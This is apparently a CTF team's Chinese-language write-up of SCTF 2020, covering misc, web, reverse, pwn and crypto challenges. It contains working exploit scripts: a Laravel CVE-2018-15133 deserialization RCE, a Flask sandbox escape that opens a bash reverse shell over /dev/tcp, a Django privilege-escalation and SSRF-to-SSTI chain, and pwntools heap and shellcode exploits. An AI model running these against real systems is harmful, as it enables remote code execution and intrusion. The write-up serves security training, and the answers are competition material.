SCTF 2020

Misc

.

Can you hear | Done

一道十分淳朴的无线电题,robot36就能解

PassWord Lock | Done

stm32f103c8t6主控的密码锁,固件逆向

参考:https://www.angelic47.com/archives/97/

斗地主 | Done

就硬斗

EasyMisc | Done

题目给的galf_si_erehw,明显是倒叙(Where is flag)
猜测将16进制倒置过来(类似19年minil)

十六进制反转之后手动补齐前面缺失的6位文件头

然后看到了这个


拿到flag

反转脚本:
https://paste.ubuntu.com/p/HX9KtKj9nw/

AndroidDisplayBridge | Done

提取tcp协议数据

tshark -r attachment.pcapng -T fields -e tcp.payload | sed '/^\s*$/d' > out.txt

再过滤57525445开头的数据,将其保留下来

f = open('out.txt','r')
fi = open('oo.txt','w')
while 1:
    a = f.readline().strip()
    if a:
        if a[:8] == '57525445':
            fi.write(a)
            fi.write('\n')
    else:
        break

fi.close()

由于题目描述中提到画出东西,所以想到坐标相关,和鼠标流量那种类似

观察得到的数据,发现在043808e8前有两个类似16进制下坐标的数据,脚本提取

转化成gnuplot可识别形式

f = open('oo.txt','r')
fi = open('xy.txt','w')
while 1:
    a = f.readline().strip()
    if a:
        if a[84:92] == '043808e8':
            fi.write(str(int(a[73:76],16)))
            fi.write(' ')
            fi.write(str(int(a[81:84],16)))
            fi.write('\n')
    else:
        break

fi.close()

将得到的数据利用gnuplot画图,垂直翻转一下,得到flag

PassWord Lock Plus | Done

thumb 指令集
直接跳转到中断向量函数
模拟器有bug翻半天才找到的板子

.

Web

.

CloudDisk | Done

  • koa框架
  • 给了源码

上传的文件可以下载

https://github.com/dlau/koa-body/issues/75
https://github.com/HelloWorld017/koa-body-poc



download下载就完了

{"files": {"file": {"path": "./flag"}}}

bestlanguage | Done

PendingBroadcast->Generator 虽然不知道干什么但是先放一条链在这.jpg

这个app_key要是算是泄露的话,有个RCE,这个laravel的版本在影响范围内

https://github.com/kozmic/laravel-poc-CVE-2018-15133

  • 是非预期
  • app_key泄露的RCE CVE-2018-15133

⬆️ 其实这么打有偏差
laravel会decrypt headers里的X-XSRF-TOKEN与 cookies里的,而:

VerifyCsrfToken Middleware

也就是说要么
request.post(url, headers={'X-XSRF-TOKEN': payload})
要么
requests.get(url, cookies={'any': payload}

懒人脚本:

import hmac
import json
from base64 import b64encode, b64decode

from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from phpserialize import *
from requests import session

ses = session()

APP_KEY = 'P5tGTBKV2clEGWCWD7L5fSrhi8sfnX/cmHdqzx/fpVo='
TARGET = 'http://39.104.93.188'


@namespace('Faker')
class Generator:
    protected_formatters = {'dispatch': 'system'}


@namespace('Illuminate\\Broadcasting')
class PendingBroadcast:
    def __init__(self, cmd='whoami'):
        self.protected_event = cmd
        self.protected_events = Generator()


def get_payload(cmd):
    key = b64decode(APP_KEY)
    data = pad(serialize(PendingBroadcast(cmd)).encode(), 16)

    iv = b64encode(Random.new().read(AES.block_size))
    res = b64encode(AES.new(key, AES.MODE_CBC, b64decode(iv)).encrypt(data))
    mac = hmac.new(key, iv + res, 'sha256').hexdigest()

    payload = b64encode(json.dumps({
        'iv': iv.decode(), 'value': res.decode(), 'mac': mac
    }).encode()).decode()
    return payload


while True:
    print(ses.get(TARGET, cookies={
        'asdf': get_payload(input())
    }).text[:])

PySandbox | Done

思路就是想办法搞一个call出来

cmd=request.form.__class__.__getitem__=lambda*p:p

这里不能用空格但是能用换行

request.form.__class__.__getitem__=lambda*p:app;
Flask.__iter__=lambda*p:[p,secret:=request.form[secret[0]]][0]

然而找不到可以iter的东西,作用域也有问题

非预期:
直接替换static目录

print(send_command('app.static_folder=request.form[secret[0]]', a='./'))
print(requests.get(url + '/static/flag').text)

PySandbox2 | Done

然后现在有几种执行代码的办法

  1. request.form.__class__.__getitem__
  2. Flask.__iter__
  3. patch flask本身的函数
  4. 对象 __del__

结果就是patch flask自己的函数就好使,想个办法跑exec就成

import requests

print(requests.post('http://39.104.90.30:10005', data={
    'cmd':
    'Flask.__doc__=request.form[secret[0]];'
    'app.make_response=lambda*p:Flask.__doc__;'
    'app.process_response=exec',
    'F': "__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/my_ip/23333 0>&1'\")"
}))

flag就在根目录,./readflag即可

~~垃圾Flask~~

UnsafeDefenseSystem

PHP/5.6.26, tp 5.0.24

可直接访问
http://39.99.41.124/public/log.txt
http://39.99.41.124/protect.py

http://39.99.41.124/public/test/

口 吐 芬 芳

爆破得到密码:Admin1964752/DsaPPPP!@#amspe1221

flag没权限读 <- 实际上是strpos($s, "flag")的waf


index controller可以反序列化
tp5.0.21 只有任意文件写,得要过一下他那个备份

https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/

https://xz.aliyun.com/t/7594

然而可以往/tmp目录下写,甚至不需要看他的protect.py

jsonhub | Done

对外开放的是web1,一个Django服务

内网还有个flask


web2返回的是假flag

caculator 应该有模板注入

这个应该是要rce执行readflag程序

首先要过那个django的token,然后ssrf请求flask_rpc,这样才能带上Content-Type发POST请求

payload = {
    'num1': '',
    # !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
    #0-9
    'num2': '',
    'symbols': '',
    #+-*/
}

req = Request('GET', 'http://localhost', params = {
    'methods': 'POST',
    'url': 'http://localhost:5000/caculator',
    # flask在:5000
    'data': b64encode(json.dumps(
        payload # 发给flask的
    ).encode()).decode()
}).prepare()

ses.post('http://39.104.19.182/home', json={
    'url': req.url,
    'token': '' # 重点就是过这里
})

感觉注册的时候有问题,可以指定用户的任意属性

是有权限查看,但是没权限修改
俩字段,is_superuser,is_staff都得是1
就能访问 http://39.104.19.182/admin/app/token/ 拿到token了

然后python端有对jinja tag过滤

@app.before_request
def before_request():
    data = str(request.data)
    log()
    if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
        abort(401)

json强制转义可以绕过滤

json.loads('"\u007b"')->'{'

trick:

json.encoder.encode_basestring_ascii = json.encoder.py_encode_basestring_ascii
json.encoder.ESCAPE_ASCII = re.compile(r'.')

暴力出奇迹

然后这题目在docker里头。。请求公网ip的话REMOTE_ADDR大概是172.17.啥的。。。所以还得过那个ssrf_check。。。。
⬆️ https://xz.aliyun.com/t/3302

但是num1, num2里不能出现字母,比赛的时候卡了挺长时间。。。后来才反应过来运算符里只要出现加减乘除就行

'{{'+'[1*1,code_here]'+'}}'


exp:

from requests import Request, session, get, post
from bs4 import BeautifulSoup
from base64 import b64encode
import json
import re
HOST = 'http://39.104.19.182'

ses = session()
USER = 'frkasdf'
PASS = 'qwer'

# session 默认keep-alive,这个服务端好像有点连接性问题,所以单独请求
post(HOST + '/reg/', json={
    'username': USER,
    'password': PASS,
    'is_staff': True,
    'is_superuser': True
}).json()['code']

ses.post(HOST + '/login/', json={
    'username': USER,
    'password': PASS,
})

page = BeautifulSoup(get(
    HOST + '/admin/app/token/', cookies=ses.cookies
).text, 'lxml')
token = page.find('td', attrs={'class': 'field-Token'}).text

ssti = '{{config.__class__.__init__.__globals__["os"].popen("/readflag").read() + ""}}'

payload = ('{' + json.dumps({
    'num1': '', 'num2': '', 'symbols': ssti,
})[1:-1].replace('{', '\\u007b').replace('}', '\\u007d') + '}')

payload = b64encode(payload.encode()).decode()

req = Request('GET', HOST + '//127.0.0.1:8000/flask_rpc', params={
    'methods': 'POST',
    'url': 'http://localhost:5000/caculator',
    # flask在:5000
    'data': payload
}).prepare()

print(json.loads(ses.post(HOST + '/home/', json={
    'url': req.url,
    'token': token
}).json()['message'])['message'])

脑筋急转弯

.

Reverse

.

signin | Done

pyinstaller打包的exe程序

从main入手

数字签名也都还留着,想办法逆就是了,应该没啥难度
https://paste.ubuntu.com/p/FRs6cm8B6W/

mydata.pyc里头有tmp.dll,摘出来ida一下就行了
明文的,strings mydata.pyc就能看到

现在可公开的情报.jpg:

sub_180011311:

sub_18001130C貌似会把传入的参数原封不动的返回

根据那个0xB0004B7679FA26B3搜了下,直接搜出奇奇怪怪的东西了
https://paper.seebug.org/1059/#polyre

from base64 import b64decode

cipher = b64decode("PLHCu+fujfZmMOMLGHCyWWOq5H5HDN2R5nHnlV30Q0EA")
cipher = bytes(x ^ y for x, y in zip(cipher, b"SCTFer" * 100))[:-1]

origin = [int.from_bytes(cipher[i : i + 8], "little") for i in range(0, len(cipher), 8)]
key = 0xB0004B7679FA26B3
data = b""

for value in origin:
    for i in range(64):
        tail = value & 1
        if tail == 1:
            value = value ^ key
        value = value // 2
        if tail == 1:
            value = value | 0x8000000000000000
    j = 0
    while j < 8:
        data += bytes([value & 0xFF])
        value = value >> 8
        j += 1

print(data)

就是简单的位移密码

get_up | Done

第一关word: sycsyc,过程略

有一处三个字节的汇编需要patch,和flag相关,猜一下常见机器码0x89, 0x45, 0xfc即可。
exp

#include <iostream>
#include <vector>
#include <cstring>
#include <cstdio>
using namespace std;
unsigned char code[] =
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
         0xCA, 0x11, 0xBA, 0xBD, 0x16, 0xB3, 0x27, 0x80, 0x3E, 0xA2,
         0x3A, 0x92, 0x03, 0x89, 0x30, 0x85, 0x11, 0xB5, 0x17, 0x95,
         0x06, 0xA0, 0x29, 0xBD, 0x16, 0xB6, 0x22, 0x80, 0x3E, 0xA5,
         0x26, 0x92, 0x03, 0x8C, 0x21, 0x70, 0x94, 0xCE, 0x3E, 0xAB,
         0x29, 0x7C, 0x2C, 0x7B, 0xDE, 0x0E, 0x9C, 0x17, 0x93, 0x5C,
         0xB0, 0xAB, 0xB9, 0xF8, 0x97, 0x4F, 0x93, 0xC3, 0x77, 0xA8,
         0xBC, 0xAB, 0x46, 0x7B, 0x53, 0x43, 0xBF, 0x49, 0xF0, 0xC6,
         0x4F, 0xAF, 0xB9, 0x84, 0xD0, 0x81, 0x55, 0xCF, 0xEE, 0x5F,
         0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0x08, 0x50, 0xE8, 0xF4, 0xF2,
         0xFF, 0xFF, 0x83, 0xC4, 0x04, 0x39, 0x85, 0x0C, 0xFB, 0xFF,
         0xFF, 0x73, 0x17, 0x8B, 0x4D, 0x08, 0x03, 0x8D, 0x0C, 0xFB,
         0xFF, 0xFF, 0x8B, 0x95, 0x0C, 0xFB, 0xFF, 0xFF, 0x8A, 0x01,
         0x88, 0x44, 0x15, 0xC8, 0xEB, 0xC6, 0xC7, 0x85, 0x10, 0xFB,
         0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00
        };

void work(int *a1) {
    int v12[30] = {0x80,0x55,0x7E,0x2D,0xD1,9,0x25,0xAB,0x3C,0x56,0x95,0xC4,0x36,0x13,0xED,0x72,0x24,0x93,0xB2,0xC8,0x45,0xEC,0x16,0x6B,0x67,0x1D,0xF9,0xA3,0x96,0xD9};

    size_t v2; // eax
    size_t v3; // eax
    int v6 = 0; // [esp+7Ch] [ebp-9Ch]
    int v11 = 0;
    int v10 = 0;
    for (int j = 0; ; ++j )
    {
        v3 = 30;
        if ( j >= v3 )
            break;
        v11 = (v11 + 1) % 0x100;
        v10 = (a1[v11] + v10) % 0x100;
        a1[v11] = (a1[v10] & ~a1[v11]) | (a1[v11] & ~a1[v10]);
        a1[v10] = (a1[v10] & ~a1[v11]) | (a1[v11] & ~a1[v10]);
        a1[v11] = (a1[v10] & ~a1[v11]) | (a1[v11] & ~a1[v10]);
        v6 = (a1[v10] + a1[v11]) % 0x100;
        cout << (char) (a1[v6] ^ v12[j]);

    }

}

void exp() {
    size_t v1; // eax
    int v3[300]; // [esp+0h] [ebp-9ACh]
    int v4; // [esp+4B0h] [ebp-4FCh]
    int v5; // [esp+4B4h] [ebp-4F8h]
    size_t i; // [esp+4B8h] [ebp-4F4h]
    unsigned int j; // [esp+4BCh] [ebp-4F0h]
    int k; // [esp+4C0h] [ebp-4ECh]
    int v9[300]; // [esp+4C4h] [ebp-4E8h]
    char input[40]; // [esp+974h] [ebp-38h]
    char const_str[9] = "syclover";

    for (j = 0; (signed int) j < 0x100; ++j) {
        v9[j] = j;
        v1 = strlen(const_str);
        v3[j] = const_str[j % v1];
    }
    v5 = 0;
    for (k = 0; k < 0x100; ++k) {
        v5 = (v3[k] + v9[k] + v5) % 0x100;
        v4 = v9[k];
        v9[k] = v9[v5];
        v9[v5] = v4;
    }
    work(v9);
}

int main() {
    char flag[] = "SCTF{";
    int i = 0;
    exp();
}

.

Pwn

.

coolcode | Done

程序开始前设置了沙箱规则限制系统调用(考虑orw)
http://www.secwk.com/2019/09/20/6564/
https://bbs.pediy.com/thread-249556-1.htm

add功能可以填入负数index,写入got表,堆可执行,这样可以直接执行堆上的shellcode,但是限制比较多,必须是可打印字符,沙箱bulabula

题目封装的read只能读数字和大写字母
msf和alpha3生成出来的shellcode太长了

if ( prctl(22, 2LL, &v1) < 0 ) {
    perror("prctl(PR_SET_SECCOMP)");
    exit(2);
}

seccomp只是限制了64位的系统调用也就是64位下的open不能用了,根据网上的资料来看,生成32位orw shellcode并跳转执行是比较可靠的方法。

尝试在exit后执行堆上内容,在堆上构造ret

ubuntu16.04环境,先切32构造open再切64构造read和write
EXP

from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"messages: ")
    p.send(content)

def show(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def delete(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def exp():
    #gdb.attach(p,"b *0x400880\nc\n")
    add(-34,"PYSX4BP4EZ1TA61TA7PZ1TA5QXQZ") #exit_got
    add(0,"11111111111111111111111111111111")
    add(1,"1111111111111111SSXXMG")
    show(0)

    shellcode = ""
    a = '''
        add rcx, 20;
        mov rbx, 0x23
        SHL rbx, 32;
        add rcx, rbx;
        push rcx;
        retf
        mov esp, edx
        '''
    shellcode += asm(a,arch="amd64");

    b = '''
        mov eax, 5;
        push 0x00006761;
        push 0x6c662f2e;
        mov ebx, esp;
        mov ecx, 0;
        int 0x80;

        add edx, 0x7b;
        push 0x33
        push edx
        retf
        '''
    shellcode += asm(b,arch="i386");

    c = '''
        mov rdi, rax;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 0;
        syscall;

        mov rdi, 1;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 1;
        syscall;
        '''
    shellcode += asm(c,arch="amd64");

    p.sendline(b"\x90"*0x46+shellcode)
    p.interactive()

if __name__ == "__main__":
    exp()

snake | Done

结束游戏后有添加,删除,和获取name的操作可以控制堆块

map存放在一个大堆块里面

游戏结束后可以输入一段内容,这个内容起始位置在map堆块中,下标由最后坐标计算出,可能存在溢出

贪吃蛇在最后一格死亡时,leave message存在off_by_one漏洞
被覆盖的是玩家名字第一位的prev size和size域

0x1da0a40:    0x0000000000000000    0x4141414100000000
0x1da0a50:    0x4141414141414141    0x4141414141414141
0x1da0a60:    0x4141414141414141    0x4141414141414141
0x1da0a70:    0x4141414141414141    0x4141414141414141
0x1da0a80:    0x4141414141414141    0x4242424241414141
0x1da0a90:    0x4343434343434343    0x0000000000000043 [name 0]
0x1da0aa0:    0x0000000000333231    0x0000000000000000
0x1da0ab0:    0x0000000000000000    0x0000000000020551 [TOP CHUNK]
0x1da0ac0:    0x0000000000000000    0x0000000000000000

off by one + unsorted_bin + overlapping
EXP:

from pwn import *
import time

#p = process("./snake")
context.log_level = "debug"
p = remote("39.107.244.116",9999)
def add(index,length,name):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"name?\n")
    p.sendline(name)

def delete(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"2")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def get(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"3")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def start():
    p.recvuntil(b"4.start name\n")
    p.sendline(b"4")

def play2die():
    while(1):
        ret = p.recv()
        if b"please leave words:\n" in ret:
            break
        else:
            p.send("s")
        time.sleep(0.6)

def exp():
    p.recvuntil(b"how long?\n")
    p.sendline(b"96")
    p.recvuntil(b"input name\n")
    list_start = 0x603140 #name_ptr_list
    fd = list_start-0x18
    bk = list_start-0x10
    #name = p64(fd) + p64(bk)
    name = b"A"*8
    p.sendline(name)

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    add(1,0x60,b"BBBBBBBB")
    add(2,0x20,p64(0xf0)+p64(0x21))

    start()
    play2die()
    words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
    p.send(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    delete(0)
    delete(1)

    start()
    p.recv(13)
    unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
    libc_base = unsorted_arena - 0x3C4B20 - 0x58
    fake_chunk_start = libc_base + 0x3C4AED
    one_gadget = libc_base + 0xf1147
    malloc_hook = libc_base + 0x3c4b10
    print("unsorted_arena",hex(unsorted_arena))
    print("libc_base",hex(libc_base))
    print("fake_chunk_start",hex(fake_chunk_start))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")

    add(0,0x50,b"AAAAAAAA")
    add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))


    add(3,0x60,b"DDDDDDDD")
    add(4,0x60,b"A"*0x13+p64(one_gadget))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(5).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(16).encode())
    p.interactive()

if __name__ == "__main__":
    exp()

.

Crypto

.

RSA | Done

相同解密密钥的攻击
企鹅e和三个n,这些满足$ed-1 = k \phi(n) = k(n-p-q+1)$
所以$ed - kn = 1 - k(p+q-1)$
因此构造一个,第一排全是e,对角线为n,[0,0]位置为\sqrt(N)的格子,LLL后即可得到d
详细证明与格子在这篇paper有给出
https://www.ijcsi.org/papers/IJCSI-9-2-1-311-314.pdf
sage脚本:https://paste.ubuntu.com/p/rWW67W636S/

Lattice | Done

NTRU的多项式实现,用比miniL复杂一点的格子就能解决了
g = hf (mod q)且f与g系数只有正负1
因此g和f的系数的范数很小
同时,g可以看作是n个h_x^i加减得到的,从而可以用格基规约得到
因此,构造一个2n_2n的矩阵,左上半部分对角线是q,右下半部分是1,左下半部分是n个h*x^i的系数。
通过LLL后,svp左半边为g右半边为f。但是LLL的效果并不好,得不到想要的f,改成BKZ即可得到目标f
(但其实对私钥要求并不高,LLL出的f同样可以用来解密,且答案一样。)
exp:https://paste.ubuntu.com/p/qPgHGjWHsH/
打印出的二进制无法直接一把梭变成bytes,因为在对明文处理中,会将明文前面和后面的0全部丢弃。
因此还需要手动添0,来得到flag(由于一开始没有assert len(flag) % 8 == 0 , 导致0加少了还把后面几位给抛了。。。导致少了一位,卡了好久)
最后结果是前面加1个0,后面加6个0,即可得到flag。

tagged by none  

Comment Closed.

© 2014 ::L Team::